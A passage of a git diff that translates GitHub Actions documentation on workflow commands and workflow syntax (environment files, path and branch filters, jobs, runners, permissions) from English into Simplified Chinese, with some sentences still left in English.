-Creates or updates an environment variable for any steps running next in a job. The step that creates or updates the environment variable does not have access to the new value, but all subsequent steps in a job will have access. Environment variables are case-sensitive and you can include punctuation.
+为作业中接下来运行的任何步骤创建或更新环境变量。 创建或更新环境变量的步骤无法访问新值，但在作业中的所有后续步骤均可访问。 环境变量区分大小写，并且可以包含标点符号。
 
 {% note %}
 
@@ -355,7 +357,7 @@ Creates or updates an environment variable for any steps running next in a job.
 
 {% endnote %}
 
-### Example
+### 示例
 
 {% raw %}
 ```
@@ -371,9 +373,9 @@ steps:
 ```
 {% endraw %}
 
-### Multiline strings
+### 多行字符串
 
-For multiline strings, you may use a delimiter with the following syntax. 
+对于多行字符串，您可以使用具有以下语法的分隔符。
 
 ```
 {name}<<{delimiter}
@@ -381,9 +383,9 @@ For multiline strings, you may use a delimiter with the following syntax.
 {delimiter}
 ```
 
-#### Example
+#### 示例
 
-In this example, we use `EOF` as a delimiter and set the `JSON_RESPONSE` environment variable to the value of the curl response.
+在此示例中， 我们使用 `EOF` 作为分隔符，并将 `JSON_RESPONSE` 环境变量设置为 cURL 响应的值。
 ```yaml
 steps:
   - name: Set the value
@@ -394,17 +396,17 @@ steps:
       echo 'EOF' >> $GITHUB_ENV
 ```
 
-## Adding a system path
+## 添加系统路径
 
 ``` bash
 echo "{path}" >> $GITHUB_PATH
 ```
 
-Prepends a directory to the system `PATH` variable and automatically makes it available to all subsequent actions in the current job; the currently running action cannot access the updated path variable. To see the currently defined paths for your job, you can use `echo "$PATH"` in a step or an action.
+Prepends a directory to the system `PATH` variable and automatically makes it available to all subsequent actions in the current job; the currently running action cannot access the updated path variable. 要查看作业的当前定义路径，您可以在步骤或操作中使用 `echo "$PATH"`。
 
-### Example
+### 示例
 
-This example demonstrates how to add the user `$HOME/.local/bin` directory to `PATH`:
+此示例演示如何将用户 `$HOME/.local/bin` 目录添加到 `PATH`：
 
 ``` bash
 echo "$HOME/.local/bin" >> $GITHUB_PATH
diff --git a/translations/zh-CN/content/actions/learn-github-actions/workflow-syntax-for-github-actions.md b/translations/zh-CN/content/actions/learn-github-actions/workflow-syntax-for-github-actions.md
index c0d591e311..02b16b1599 100644
--- a/translations/zh-CN/content/actions/learn-github-actions/workflow-syntax-for-github-actions.md
+++ b/translations/zh-CN/content/actions/learn-github-actions/workflow-syntax-for-github-actions.md
@@ -1,7 +1,7 @@
 ---
-title: Workflow syntax for GitHub Actions
-shortTitle: Workflow syntax
-intro: A workflow is a configurable automated process made up of one or more jobs. You must create a YAML file to define your workflow configuration.
+title: GitHub Actions 的工作流程语法
+shortTitle: 工作流程语法
+intro: 工作流程是可配置的自动化过程，由一个或多个作业组成。 您必须创建 YAML 文件来定义工作流程配置。
 redirect_from:
   - /articles/workflow-syntax-for-github-actions
   - /github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions
@@ -17,27 +17,27 @@ versions:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About YAML syntax for workflows
+## 关于工作流程的 YAML 语法
 
-Workflow files use YAML syntax, and must have either a `.yml` or `.yaml` file extension. {% data reusables.actions.learn-more-about-yaml %}
+工作流程文件使用 YAML 语法，必须有 `.yml` 或 `.yaml` 文件扩展名。 {% data reusables.actions.learn-more-about-yaml %}
 
-You must store workflow files in the `.github/workflows` directory of your repository.
+必须将工作流程文件存储在仓库的 `.github/workflows` 目录中。
 
 ## `name`
 
-The name of your workflow. {% data variables.product.prodname_dotcom %} displays the names of your workflows on your repository's actions page. If you omit `name`, {% data variables.product.prodname_dotcom %} sets it to the workflow file path relative to the root of the repository.
+工作流程的名称。 {% data variables.product.prodname_dotcom %} 在仓库的操作页面上显示工作流程的名称。 如果省略 `name`，{% data variables.product.prodname_dotcom %} 将其设置为相对于仓库根目录的工作流程文件路径。
 
 ## `on`
 
-**Required**. The name of the {% data variables.product.prodname_dotcom %} event that triggers the workflow. You can provide a single event `string`, `array` of events, `array` of event `types`, or an event configuration `map` that schedules a workflow or restricts the execution of a workflow to specific files, tags, or branch changes. For a list of available events, see "[Events that trigger workflows](/articles/events-that-trigger-workflows)."
+**必填**。 触发工作流程的 {% data variables.product.prodname_dotcom %} 事件的名称。 您可以提供单一事件 `string`、事件的 `array`、事件 `types` 的 `array` 或事件配置 `map`，以安排工作流程的运行，或将工作流程的执行限于特定文件、标记或分支更改。 有关可用事件的列表，请参阅“[触发工作流程的事件](/articles/events-that-trigger-workflows)”。
 
 {% data reusables.github-actions.actions-on-examples %}
 
 ## `on.<event_name>.types`
 
-Selects the types of activity that will trigger a workflow run. Most GitHub events are triggered by more than one type of activity.  For example, the event for the release resource is triggered when a release is `published`, `unpublished`, `created`, `edited`, `deleted`, or `prereleased`. The `types` keyword enables you to narrow down activity that causes the workflow to run. When only one activity type triggers a webhook event, the `types` keyword is unnecessary.
+选择将触发工作流程运行的活动类型。 大多数 GitHub 事件由多种活动触发。  例如，发布资源的事件在发行版 `published`、`unpublished`、`created`、`edited`、`deleted` 或 `prereleased` 时触发。 通过 `types` 关键词可缩小触发工作流程运行的活动类型的范围。 如果只有一种活动类型可触发 web 挂钩事件，就没有必要使用 `types` 关键词。
 
-You can use an array of event `types`. For more information about each event and their activity types, see "[Events that trigger workflows](/articles/events-that-trigger-workflows#webhook-events)."
+您可以使用事件 `types` 的数组。 有关每个事件及其活动类型的更多信息，请参阅“[触发工作流程的事件](/articles/events-that-trigger-workflows#webhook-events)”。
 
 ```yaml
 # Trigger the workflow on release activity
@@ -49,13 +49,13 @@ on:
 
 ## `on.<push|pull_request>.<branches|tags>`
 
-When using the `push` and `pull_request` events, you can configure a workflow to run on specific branches or tags. For a `pull_request` event, only branches and tags on the base are evaluated. If you define only `tags` or only `branches`, the workflow won't run for events affecting the undefined Git ref.
+使用 `push` 和 `pull_request` 事件时，您可以将工作流配置为在特定分支或标记上运行。 对于 `pull_request` 事件，只评估基础上的分支和标签。 如果只定义 `tags` 或只定义 `branches`，则影响未定义 Git ref 的事件不会触发工作流程运行。
 
-The `branches`, `branches-ignore`, `tags`, and `tags-ignore` keywords accept glob patterns that use characters like `*`, `**`, `+`, `?`, `!` and others to match more than one branch or tag name. If a name contains any of these characters and you want a literal match, you need to *escape* each of these special characters with `\`. For more information about glob patterns, see the "[Filter pattern cheat sheet](#filter-pattern-cheat-sheet)."
+`branches`、`branches-ignore`、`tags` 和 `tags-ignore` 关键词接受使用 `*`、`**`、`+`、`?`、`!` 等字符匹配多个分支或标记名称的 glob 模式。 If a name contains any of these characters and you want a literal match, you need to *escape* each of these special characters with `\`. 有关 glob 模式的更多信息，请参阅“[过滤器模式备忘清单](#filter-pattern-cheat-sheet)”。
 
-### Example: Including branches and tags
+### 示例：包括分支和标记
 
-The patterns defined in `branches` and `tags` are evaluated against the Git ref's name. For example, defining the pattern `mona/octocat` in `branches` will match the `refs/heads/mona/octocat` Git ref. The pattern `releases/**` will match the `refs/heads/releases/10` Git ref.
+在 `branches` 和 `tags` 中定义的模式根据 Git ref 的名称进行评估。 例如，在 `branches` 中定义的模式 `mona/octocat` 将匹配 `refs/heads/mona/octocat` Git ref。 模式 `releases/**` 将匹配 `refs/heads/releases/10` Git ref。
 
 ```yaml
 on:
@@ -74,9 +74,9 @@ on:
       - v1.*           # Push events to v1.0, v1.1, and v1.9 tags
 ```
 
-### Example: Ignoring branches and tags
+### 示例：忽略分支和标记
 
-Anytime a pattern matches the `branches-ignore` or `tags-ignore` pattern, the workflow will not run. The patterns defined in `branches-ignore` and `tags-ignore` are evaluated against the Git ref's name. For example, defining the pattern `mona/octocat` in `branches` will match the `refs/heads/mona/octocat` Git ref. The pattern `releases/**-alpha` in `branches` will match the `refs/releases/beta/3-alpha` Git ref.
+只要模式与 `branches-ignore` or `tags-ignore` 模式匹配，工作流就不会运行。 在 `branches-ignore` 和 `tags-ignore` 中定义的模式根据 Git ref 的名称进行评估。 例如，在 `branches` 中定义的模式 `mona/octocat` 将匹配 `refs/heads/mona/octocat` Git ref。 `branches` 中的模式 `releases/**-alpha` 将匹配 `refs/releases/beta/3-alpha` Git ref。
 
 ```yaml
 on:
@@ -92,19 +92,19 @@ on:
       - v1.*           # Do not push events to tags v1.0, v1.1, and v1.9
 ```
 
-### Excluding branches and tags
+### 排除分支和标记
 
-You can use two types of filters to prevent a workflow from running on pushes and pull requests to tags and branches.
-- `branches` or `branches-ignore` - You cannot use both the `branches` and `branches-ignore` filters for the same event in a workflow. Use the `branches` filter when you need to filter branches for positive matches and exclude branches. Use the `branches-ignore` filter when you only need to exclude branch names.
-- `tags` or `tags-ignore` - You cannot use both the `tags` and `tags-ignore` filters for the same event in a workflow. Use the `tags` filter when you need to filter tags for positive matches and exclude tags. Use the `tags-ignore` filter when you only need to exclude tag names.
+您可以使用两种类型的过滤器来阻止工作流程在对标记和分支的推送和拉取请求上运行。
+- `branches` 或 `branches-ignore` - 您无法对工作流程中的同一事件同时使用 `branches` 和 `branches-ignore` 过滤器。 需要过滤肯定匹配的分支和排除分支时，请使用 `branches` 过滤器。 只需要排除分支名称时，请使用 `branches-ignore` 过滤器。
+- `tags` 或 `tags-ignore` - 您无法对工作流程中的同一事件同时使用 `tags` 和 `tags-ignore` 过滤器。 需要过滤肯定匹配的标记和排除标记时，请使用 `tags` 过滤器。 只需要排除标记名称时，请使用 `tags-ignore` 过滤器。
 
-### Example: Using positive and negative patterns
+### 示例：使用肯定和否定模式
 
-You can exclude `tags` and `branches` using the `!` character. The order that you define patterns matters.
-  - A matching negative pattern (prefixed with `!`) after a positive match will exclude the Git ref.
-  - A matching positive pattern after a negative match will include the Git ref again.
+您可以使用 `!` 字符排除 `tags` 和 `branches`。 您定义模式事项的顺序。
+  - 肯定匹配后的匹配否定模式（前缀为 `!`）将排除 Git 引用。
+  - 否定匹配后的匹配肯定模式将再次包含 Git 引用。
 
-The following workflow will run on pushes to `releases/10` or `releases/beta/mona`, but not on `releases/10-alpha` or `releases/beta/3-alpha` because the negative pattern `!releases/**-alpha` follows the positive pattern.
+以下工作流程将在到 `releases/10` 或 `releases/beta/mona` 的推送上运行，而不会在到 `releases/10-alpha` 或 `releases/beta/3-alpha` 的推送上运行，因为否定模式 `!releases/**-alpha` 后跟肯定模式。
 
 ```yaml
 on:
@@ -116,13 +116,13 @@ on:
 
 ## `on.<push|pull_request>.paths`
 
-When using the `push` and `pull_request` events, you can configure a workflow to run when at least one file does not match `paths-ignore` or at least one modified file matches the configured `paths`. Path filters are not evaluated for pushes to tags.
+使用 `push` 和 `pull_request` 事件时，您可以将工作流程配置为在至少一个文件不匹配 `paths-ignore` 或至少一个修改的文件匹配配置的 `paths` 时运行。 路径过滤器不评估是否推送到标签。
 
-The `paths-ignore` and `paths` keywords accept glob patterns that use the `*` and `**` wildcard characters to match more than one path name. For more information, see the "[Filter pattern cheat sheet](#filter-pattern-cheat-sheet)."
+`paths-ignore` 和 `paths` 关键词接受使用 `*` 和 `**` 通配符匹配多个路径名称的 glob 模式。 更多信息请参阅“[过滤器模式备忘清单](#filter-pattern-cheat-sheet)”。
 
-### Example: Ignoring paths
+### 示例：忽略路径
 
-When all the path names match patterns in `paths-ignore`, the workflow will not run. {% data variables.product.prodname_dotcom %} evaluates patterns defined in `paths-ignore` against the path name. A workflow with the following path filter will only run on `push` events that include at least one file outside the `docs` directory at the root of the repository.
+当所有路径名称匹配 `paths-ignore` 中的模式时，工作流程不会运行。 {% data variables.product.prodname_dotcom %} 根据路径名称评估 `paths-ignore` 中定义的模式。 具有以下路径过滤器的工作流程仅在 `push` 事件上运行，这些事件包括至少一个位于仓库根目录的 `docs` 目录外的文件。
 
 ```yaml
 on:
@@ -131,9 +131,9 @@ on:
       - 'docs/**'
 ```
 
-### Example: Including paths
+### 示例：包括路径
 
-If at least one path matches a pattern in the `paths` filter, the workflow runs. To trigger a build anytime you push a JavaScript file, you can use a wildcard pattern.
+如果至少有一个路径与 `paths` 过滤器中的模式匹配，工作流程将会运行。 要在每次推送 JavaScript 文件时触发构建，您可以使用通配符模式。
 
 ```yaml
 on:
@@ -142,19 +142,19 @@ on:
       - '**.js'
 ```
 
-### Excluding paths
+### 排除路径
 
-You can exclude paths using two types of filters. You cannot use both of these filters for the same event in a workflow.
-- `paths-ignore` - Use the `paths-ignore` filter when you only need to exclude path names.
-- `paths` - Use the `paths` filter when you need to filter paths for positive matches and exclude paths.
+您可以使用两种类型的过滤器排除路径。 不能对工作流程中的同一事件同时使用这两种过滤器。
+- `paths-ignore` - 只需要排除路径名称时，请使用 `paths-ignore` 过滤器。
+- `paths` - 需要过滤肯定匹配的路径和排除路径时，请使用 `paths` 过滤器。
 
-### Example: Using positive and negative patterns
+### 示例：使用肯定和否定模式
 
-You can exclude `paths` using the `!` character. The order that you define patterns matters:
-  - A matching negative pattern (prefixed with `!`) after a positive match will exclude the path.
-  - A matching positive pattern after a negative match will include the path again.
+您可以使用 `!` 字符排除 `paths`。 您定义模式事项的顺序：
+  - 肯定匹配后的匹配否定模式（前缀为 `!`）将排除路径。
+  - 否定匹配后的匹配肯定模式将再次包含路径。
 
-This example runs anytime the `push` event includes a file in the `sub-project` directory or its subdirectories, unless the file is in the `sub-project/docs` directory. For example, a push that changed `sub-project/index.js` or `sub-project/src/index.js` will trigger a workflow run, but a push changing only `sub-project/docs/readme.md` will not.
+只要 `push` 事件包括 `sub-project` 目录或其子目录中的文件，此示例就会运行，除非该文件在 `sub-project/docs` 目录中。 例如，更改了 `sub-project/index.js` 或 `sub-project/src/index.js` 的推送将会触发工作流程运行，但只更改 `sub-project/docs/readme.md` 的推送不会触发。
 
 ```yaml
 on:
@@ -164,24 +164,24 @@ on:
       - '!sub-project/docs/**'
 ```
 
-### Git diff comparisons
+### Git 差异比较
 
 {% note %}
 
-**Note:** If you push more than 1,000 commits, or if {% data variables.product.prodname_dotcom %} does not generate the diff due to a timeout, the workflow will always run.
+**注：** 如果您推送超过 1,000 项提交， 或者如果 {% data variables.product.prodname_dotcom %} 因超时未生成差异，工作流程将始终运行。
 
 {% endnote %}
 
-The filter determines if a workflow should run by evaluating the changed files and running them against the `paths-ignore` or `paths` list. If there are no files changed, the workflow will not run.
+过滤器决定是否应通过评估已更改文件，并根据 `paths-ignore` or `paths` 列表运行它们，来运行一个工作流程。 如果没有更改文件，工作流程将不会运行。
 
-{% data variables.product.prodname_dotcom %} generates the list of changed files using two-dot diffs for pushes and three-dot diffs for pull requests:
-- **Pull requests:** Three-dot diffs are a comparison between the most recent version of the topic branch and the commit where the topic branch was last synced with the base branch.
-- **Pushes to existing branches:** A two-dot diff compares the head and base SHAs directly with each other.
-- **Pushes to new branches:** A two-dot diff against the parent of the ancestor of the deepest commit pushed.
+{% data variables.product.prodname_dotcom %} 会针对推送使用双点差异，针对拉取请求使用三点差异，生成已更改文件列表：
+- **拉取请求：** 三点差异比较主题分支的最近版本与其中使用基本分支最新同步主题分支的提交。
+- **推送到现有分支：** 双点差异可以直接相互比较头部和基础 SHA。
+- **推送到新分支：**根据已推送最深提交的前身父项的两点差异。
 
-Diffs are limited to 300 files. If there are files changed that aren't matched in the first 300 files returned by the filter, the workflow will not run. You may need to create more specific filters so that the workflow will run automatically.
+差异限制为 300 个文件。 如果更改的文件与过滤器返回的前 300 个文件不匹配，工作流程将不会运行。 您可能需要创建更多的特定过滤器，以便工作流程自动运行。
 
-For more information, see "[About comparing branches in pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests)."
+更多信息请参阅“[关于比较拉取请求中的分支](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests)”。
 
 {% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %}
 ## `on.workflow_call.inputs`
@@ -196,7 +196,7 @@ Within the called workflow, you can use the `inputs` context to refer to an inpu
 
 If a caller workflow passes an input that is not specified in the called workflow, this results in an error.
 
-### Example
+### 示例
 
 {% raw %}
 ```yaml
@@ -208,7 +208,7 @@ on:
         default: 'john-doe'
         required: false
         type: string
-  
+
 jobs:
   print-username:
     runs-on: ubuntu-latest
@@ -231,7 +231,7 @@ A map of outputs for a called workflow. Called workflow outputs are available to
 
 In the example below, two outputs are defined for this reusable workflow: `workflow_output1` and `workflow_output2`. These are mapped to outputs called `job_output1` and `job_output2`, both from a job called `my_job`.
 
-### Example
+### 示例
 
 {% raw %}
 ```yaml
@@ -258,7 +258,7 @@ Within the called workflow, you can use the `secrets` context to refer to a secr
 
 If a caller workflow passes a secret that is not specified in the called workflow, this results in an error.
 
-### Example
+### 示例
 
 {% raw %}
 ```yaml
@@ -268,7 +268,7 @@ on:
       access-token:
         description: 'A token passed from the caller workflow'
         required: false
-  
+
 jobs:
   pass-secret-to-action:
     runs-on: ubuntu-latest
@@ -283,7 +283,7 @@ jobs:
 
 ## `on.workflow_call.secrets.<secret_id>`
 
-A string identifier to associate with the secret. 
+A string identifier to associate with the secret.
 
 ## `on.workflow_call.secrets.<secret_id>.required`
 
@@ -294,9 +294,9 @@ A boolean specifying whether the secret must be supplied.
 
 When using the `workflow_dispatch` event, you can optionally specify inputs that are passed to the workflow.
 
-The triggered workflow receives the inputs in the `github.event.inputs` context. For more information, see "[Contexts](/actions/learn-github-actions/contexts#github-context)."
+触发的工作流程接收 `github.event.input` 上下文中的输入。 更多信息请参阅“[上下文](/actions/learn-github-actions/contexts#github-context)”。
 
-### Example
+### 示例
 {% raw %}
 ```yaml
 on: 
@@ -319,7 +319,7 @@ on:
         description: 'Environment to run tests against'
         type: environment
         required: true {% endif %}
-  
+
 jobs:
   print-tag:
     runs-on: ubuntu-latest
@@ -337,18 +337,18 @@ jobs:
 For more information about cron syntax, see "[Events that trigger workflows](/actions/automating-your-workflow-with-github-actions/events-that-trigger-workflows#scheduled-events)."
 
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
-## `permissions`
+## `权限`
 
-You can modify the default permissions granted to the `GITHUB_TOKEN`, adding or removing access as required, so that you only allow the minimum required access. For more information, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)."
+您可以修改授予 `GITHUB_TOKEN` 的默认权限，根据需要添加或删除访问权限，以便只授予所需的最低访问权限。 更多信息请参阅“[工作流程中的身份验证](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)。
 
-You can use `permissions` either as a top-level key, to apply to all jobs in the workflow, or within specific jobs. When you add the `permissions` key within a specific job, all actions and run commands within that job that use the `GITHUB_TOKEN` gain the access rights you specify.  For more information, see [`jobs.<job_id>.permissions`](#jobsjob_idpermissions).
+您可以使用 `permissions` 作为顶级密钥，以应用于工作流程中的所有作业，或特定的作业。 当您在特定作业中添加 `permissions` 键时，该作业中的所有操作和运行命令使用 `GITHUB_TOKEN` 获取您指定的访问权限。  更多信息请参阅 [`jobs.<job_id>.permissions`](#jobsjob_idpermissions)。
 
 {% data reusables.github-actions.github-token-available-permissions %}
 {% data reusables.github-actions.forked-write-permission %}
 
-### Example
+### 示例
 
-This example shows permissions being set for the `GITHUB_TOKEN` that will apply to all jobs in the workflow. All permissions are granted read access.
+此示例显示为将要应用到工作流程中所有作业的 `GITHUB_TOKEN` 设置的权限。 所有权限都被授予读取权限。
 
 ```yaml
 name: "My workflow"
@@ -364,11 +364,11 @@ jobs:
 
 ## `env`
 
-A `map` of environment variables that are available to the steps of all jobs in the workflow. You can also set environment variables that are only available to the steps of a single job or to a single step. For more information, see [`jobs.<job_id>.env`](#jobsjob_idenv) and [`jobs.<job_id>.steps[*].env`](#jobsjob_idstepsenv).
+环境变量的 `map` 可用于工作流程中所有作业的步骤。 您还可以设置仅适用于单个作业的步骤或单个步骤的环境变量。 更多信息请参阅 [`jobs.<job_id>.env`](#jobsjob_idenv) and [`jobs.<job_id>.steps[*].env`](#jobsjob_idstepsenv)。
 
 {% data reusables.repositories.actions-env-var-note %}
 
-### Example
+### 示例
 
 ```yaml
 env:
@@ -377,17 +377,17 @@ env:
 
 ## `defaults`
 
-A `map` of default settings that will apply to all jobs in the workflow. You can also set default settings that are only available to a job. For more information, see [`jobs.<job_id>.defaults`](#jobsjob_iddefaults).
+将应用到工作流程中所有作业的默认设置的 `map`。 您也可以设置只可用于作业的默认设置。 更多信息请参阅 [`jobs.<job_id>.defaults`](#jobsjob_iddefaults)。
 
 {% data reusables.github-actions.defaults-override %}
 
 ## `defaults.run`
 
-You can provide default `shell` and `working-directory` options for all [`run`](#jobsjob_idstepsrun) steps in a workflow. You can also set default settings for `run` that are only available to a job. For more information, see [`jobs.<job_id>.defaults.run`](#jobsjob_iddefaultsrun). You cannot use contexts or expressions in this keyword.
+您可以为工作流程中的所有 [`run`](#jobsjob_idstepsrun) 步骤提供默认的 `shell` 和 `working-directory` 选项。 您也可以设置只可用于作业的 `run` 默认设置。 更多信息请参阅 [`jobs.<job_id>.defaults.run`](#jobsjob_iddefaultsrun)。 您不能在此关键词中使用上下文或表达式。
 
 {% data reusables.github-actions.defaults-override %}
 
-### Example
+### 示例
 
 ```yaml
 defaults:
@@ -399,28 +399,28 @@ defaults:
 {% ifversion fpt or ghae or ghes > 3.1 or ghec %}
 ## `concurrency`
 
-Concurrency ensures that only a single job or workflow using the same concurrency group will run at a time. A concurrency group can be any string or expression. The expression can only use the [`github` context](/actions/learn-github-actions/contexts#github-context). For more information about expressions, see "[Expressions](/actions/learn-github-actions/expressions)."
+Concurrency 确保只有使用相同并发组的单一作业或工作流程才会同时运行。 并发组可以是任何字符串或表达式。 The expression can only use the [`github` context](/actions/learn-github-actions/contexts#github-context). For more information about expressions, see "[Expressions](/actions/learn-github-actions/expressions)."
 
-You can also specify `concurrency` at the job level. For more information, see [`jobs.<job_id>.concurrency`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idconcurrency).
+您也可以在作业级别指定 `concurrency`。 更多信息请参阅 [`jobs.<job_id>.concurrency`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idconcurrency)。
 
 {% data reusables.actions.actions-group-concurrency %}
 
 {% endif %}
 ## `jobs`
 
-A workflow run is made up of one or more jobs. Jobs run in parallel by default. To run jobs sequentially, you can define dependencies on other jobs using the `jobs.<job_id>.needs` keyword.
+工作流程运行包括一项或多项作业。 作业默认是并行运行。 要按顺序运行作业，您可以使用 `<job_id>needs` 关键词在其他作业上定义依赖项。
 
-Each job runs in a runner environment specified by `runs-on`.
+每个作业在 `runs-on` 指定的运行器环境中运行。
 
-You can run an unlimited number of jobs as long as you are within the workflow usage limits. For more information, see {% ifversion fpt or ghec or ghes %}"[Usage limits and billing](/actions/reference/usage-limits-billing-and-administration)" for {% data variables.product.prodname_dotcom %}-hosted runners and {% endif %}"[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits){% ifversion fpt or ghec or ghes %}" for self-hosted runner usage limits.{% elsif ghae %}."{% endif %}
+在工作流程的使用限制之内可运行无限数量的作业。 For more information, see {% ifversion fpt or ghec or ghes %}"[Usage limits and billing](/actions/reference/usage-limits-billing-and-administration)" for {% data variables.product.prodname_dotcom %}-hosted runners and {% endif %}"[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits){% ifversion fpt or ghec or ghes %}" for self-hosted runner usage limits.{% elsif ghae %}."{% endif %}
 
-If you need to find the unique identifier of a job running in a workflow run, you can use the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API. For more information, see "[Workflow Jobs](/rest/reference/actions#workflow-jobs)."
+If you need to find the unique identifier of a job running in a workflow run, you can use the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API. 更多信息请参阅“[工作流程作业](/rest/reference/actions#workflow-jobs)”。
 
 ## `jobs.<job_id>`
 
-Create an identifier for your job by giving it a unique name. The key `job_id` is a string and its value is a map of the job's configuration data. You must replace `<job_id>` with a string that is unique to the `jobs` object. The `<job_id>` must start with a letter or `_` and contain only alphanumeric characters, `-`, or `_`.
+Create an identifier for your job by giving it a unique name. 键值 `job_id` 是一个字符串，其值是作业配置数据的映像。 必须将 `<job_id>` 替换为 `jobs` 对象唯一的字符串。 `<job_id>` 必须以字母或 `_` 开头，并且只能包含字母数字字符、`-` 或 `_`。
 
-### Example
+### 示例
 
 In this example, two jobs have been created, and their `job_id` values are `my_first_job` and `my_second_job`.
 
@@ -434,13 +434,13 @@ jobs:
 
 ## `jobs.<job_id>.name`
 
-The name of the job displayed on {% data variables.product.prodname_dotcom %}.
+作业显示在 {% data variables.product.prodname_dotcom %} 上的名称。
 
 ## `jobs.<job_id>.needs`
 
-Identifies any jobs that must complete successfully before this job will run. It can be a string or array of strings. If a job fails, all jobs that need it are skipped unless the jobs use a conditional expression that causes the job to continue.
+识别在此作业运行之前必须成功完成的任何作业。 它可以是一个字符串，也可以是字符串数组。 如果某个作业失败，则所有需要它的作业都会被跳过，除非这些作业使用让该作业继续的条件表达式。
 
-### Example: Requiring dependent jobs to be successful
+### 示例：要求相关作业成功
 
 ```yaml
 jobs:
@@ -451,15 +451,15 @@ jobs:
     needs: [job1, job2]
 ```
 
-In this example, `job1` must complete successfully before `job2` begins, and `job3` waits for both `job1` and `job2` to complete.
+在此示例中，`job1` 必须在 `job2` 开始之前成功完成，而 `job3` 要等待 `job1` 和 `job2` 完成。
 
-The jobs in this example run sequentially:
+此示例中的作业按顺序运行：
 
 1. `job1`
 2. `job2`
 3. `job3`
 
-### Example: Not requiring dependent jobs to be successful
+### 示例：不要求相关作业成功
 
 ```yaml
 jobs:
@@ -471,61 +471,61 @@ jobs:
     needs: [job1, job2]
 ```
 
-In this example, `job3` uses the `always()` conditional expression so that it always runs after `job1` and `job2` have completed, regardless of whether they were successful. For more information, see "[Expressions](/actions/learn-github-actions/expressions#job-status-check-functions)."
+在此示例中，`job3` 使用 `always()` 条件表达式，因此它始终在 `job1` 和 `job2` 完成后运行，不管它们是否成功。 For more information, see "[Expressions](/actions/learn-github-actions/expressions#job-status-check-functions)."
 
 ## `jobs.<job_id>.runs-on`
 
-**Required**. The type of machine to run the job on. {% ifversion fpt or ghec %}The machine can be either a {% data variables.product.prodname_dotcom %}-hosted runner or a self-hosted runner.{% endif %} You can provide `runs-on` as a single string or as an array of strings.
+**必填**。 要运行作业的机器类型。 {% ifversion fpt or ghec %}The machine can be either a {% data variables.product.prodname_dotcom %}-hosted runner or a self-hosted runner.{% endif %} You can provide `runs-on` as a single string or as an array of strings. If you specify an array of strings, your workflow will run on a self-hosted runner whose labels match all of the specified `runs-on` values, if available. If you would like to run your workflow on multiple machines, use [`jobs.<job_id>.strategy`](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategy).
 
 {% ifversion fpt or ghec or ghes %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-### {% data variables.product.prodname_dotcom %}-hosted runners
+### {% data variables.product.prodname_dotcom %} 托管的运行器
 
-If you use a {% data variables.product.prodname_dotcom %}-hosted runner, each job runs in a fresh instance of a virtual environment specified by `runs-on`.
+如果使用 {% data variables.product.prodname_dotcom %} 托管的运行器，每个作业将在 `runs-on` 指定的虚拟环境的新实例中运行。
 
-Available {% data variables.product.prodname_dotcom %}-hosted runner types are:
+可用的 {% data variables.product.prodname_dotcom %} 托管的运行器类型包括：
 
 {% data reusables.github-actions.supported-github-runners %}
 
-#### Example
+#### 示例
 
 ```yaml
 runs-on: ubuntu-latest
 ```
 
-For more information, see "[Virtual environments for {% data variables.product.prodname_dotcom %}-hosted runners](/github/automating-your-workflow-with-github-actions/virtual-environments-for-github-hosted-runners)."
+更多信息请参阅“[{% data variables.product.prodname_dotcom %} 托管的运行器的虚拟环境](/github/automating-your-workflow-with-github-actions/virtual-environments-for-github-hosted-runners)”。
 {% endif %}
 
 {% ifversion fpt or ghec or ghes %}
-### Self-hosted runners
+### 自托管运行器
 {% endif %}
 
 {% data reusables.actions.ae-self-hosted-runners-notice %}
 
 {% data reusables.github-actions.self-hosted-runner-labels-runs-on %}
 
-#### Example
+#### 示例
 
 ```yaml
 runs-on: [self-hosted, linux]
 ```
 
-For more information, see "[About self-hosted runners](/github/automating-your-workflow-with-github-actions/about-self-hosted-runners)" and "[Using self-hosted runners in a workflow](/github/automating-your-workflow-with-github-actions/using-self-hosted-runners-in-a-workflow)."
+更多信息请参阅“[关于自托管的运行器](/github/automating-your-workflow-with-github-actions/about-self-hosted-runners)”和“[在工作流程中使用自托管的运行器](/github/automating-your-workflow-with-github-actions/using-self-hosted-runners-in-a-workflow)”。
 
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
 ## `jobs.<job_id>.permissions`
 
-You can modify the default permissions granted to the `GITHUB_TOKEN`, adding or removing access as required, so that you only allow the minimum required access. For more information, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)."
+您可以修改授予 `GITHUB_TOKEN` 的默认权限，根据需要添加或删除访问权限，以便只授予所需的最低访问权限。 更多信息请参阅“[工作流程中的身份验证](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)。
 
-By specifying the permission within a job definition, you can configure a different set of permissions for the `GITHUB_TOKEN` for each job, if required. Alternatively, you can specify the permissions for all jobs in the workflow. For information on defining permissions at the workflow level, see [`permissions`](#permissions).
+通过在工作定义中指定权限，您可以根据需要为每个作业的 `GITHUB_TOKEN` 配置一组不同的权限。 或者，您也可以为工作流程中的所有作业指定权限。 有关在工作流程级别定义权限的信息，请参阅 [`permissions`](#permissions)。
 
 {% data reusables.github-actions.github-token-available-permissions %}
 {% data reusables.github-actions.forked-write-permission %}
 
-### Example
+### 示例
 
